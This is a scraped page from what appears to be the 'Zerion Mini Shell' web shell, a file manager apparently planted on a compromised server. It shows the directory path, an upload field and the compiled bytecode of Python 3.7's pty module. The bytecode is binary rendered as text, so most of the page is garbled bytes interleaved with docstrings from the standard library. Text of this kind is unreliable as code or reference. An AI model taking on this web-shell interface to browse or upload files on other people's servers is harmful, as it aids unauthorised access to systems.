ok

Mini Shell

Direktori : /proc/self/root/opt/alt/python37/lib64/python3.7/__pycache__/
Upload File :
Current File : //proc/self/root/opt/alt/python37/lib64/python3.7/__pycache__/pty.cpython-37.pyc

B

�x�c��@s�dZddlmZddlZddlZdddgZdZdZdZdZd	d�Z	d
d�Z
dd
�Zdd�Zdd�Z
dd�Zdd�Zeefdd�Zeefdd�ZdS)zPseudo terminal utilities.�)�selectN�openpty�fork�spawn��c	Cs<yt��Sttfk
r YnXt�\}}t|�}||fS)zdopenpty() -> (master_fd, slave_fd)
    Open a pty master/slave pair, using os.openpty() if possible.)�osr�AttributeError�OSError�_open_terminal�
slave_open)�	master_fd�
slave_name�slave_fd�r�(/opt/alt/python37/lib64/python3.7/pty.pyrs
c	CsLyt��\}}Wnttfk
r(YnXt�|�}t�|�||fSt�S)z�master_open() -> (master_fd, slave_name)
    Open a pty master and return the fd, and the filename of the slave end.
    Deprecated, use openpty() instead.)rrr	r
�ttyname�closer)r
rrrrr�master_open!s

rc
Cslx^dD]V}xPdD]H}d||}yt�|tj�}Wntk
rHwYnX|d||fSWqWtd��dS)z1Open pty master and return (master_fd, tty_name).ZpqrstuvwxyzPQRSTZ0123456789abcdefz/dev/ptyz/dev/ttyzout of pty devicesN)r�open�O_RDWRr
)�x�yZpty_name�fdrrrr1s

rcCsnt�|tj�}yddlm}m}Wntk
r6|SXy|||d�|||d�Wntk
rhYnX|S)z�slave_open(tty_name) -> slave_fd
    Open the pty slave and acquire the controlling terminal, returning
    opened filedescriptor.
    Deprecated, use openpty() instead.r)�ioctl�I_PUSHZptemZldterm)rrrZfcntlrr�ImportErrorr
)Ztty_name�resultrrrrrr=src	Cs�yt��\}}Wnttfk
r(Yn4X|tkrTyt��Wntk
rRYnX||fSt�\}}t��}|tkr�t��t�|�t�	|t
�t�	|t�t�	|t�|tkr�t�|�t�
t�t�tj�}t�|�n
t�|�||fS)zdfork() -> (pid, master_fd)
    Fork and make the child a session leader with a controlling terminal.)r�forkptyr	r
�CHILD�setsidrrr�dup2�STDIN_FILENO�
STDOUT_FILENO�
STDERR_FILENOrrr)�pidrr
rZtmp_fdrrrrOs0



cCs&x |r t�||�}||d�}qWdS)z#Write all the data to a descriptor.N)r�write)r�data�nrrr�_writenwsr)cCst�|d�S)zDefault read function.i)r�read)rrrr�_read}sr+cCsz|tg}xlt|gg�\}}}||krH||�}|s<|�|�nt�t|�t|kr
|t�}|sh|�t�q
t||�q
WdS)z�Parent copy loop.
    Copies
            pty master -> standard output   (master_read)
            standard input -> pty master    (stdin_read)N)r"r�removerr&r#r))r
�master_read�
stdin_readZfdsZrfdsZwfdsZxfdsr'rrr�_copy�sr/cCs�t|�td�kr|f}t�\}}|tkr<tj|df|��yt�t�}t�t�d}Wntj	k
rrd}YnXyt
|||�Wn(tk
r�|r�t�ttj
|�YnXt�|�t�|d�dS)zCreate a spawned process.�rr)�typerrr�execlp�ttyZ	tcgetattrr"Zsetraw�errorr/r
Z	tcsetattrZ	TCSAFLUSHr�waitpid)�argvr-r.r%r
�modeZrestorerrrr�s$




)�__doc__rrr3�__all__r"r#r$rrrrrrr)r+r/rrrrr�<module>s"
(

Zerion Mini Shell 1.0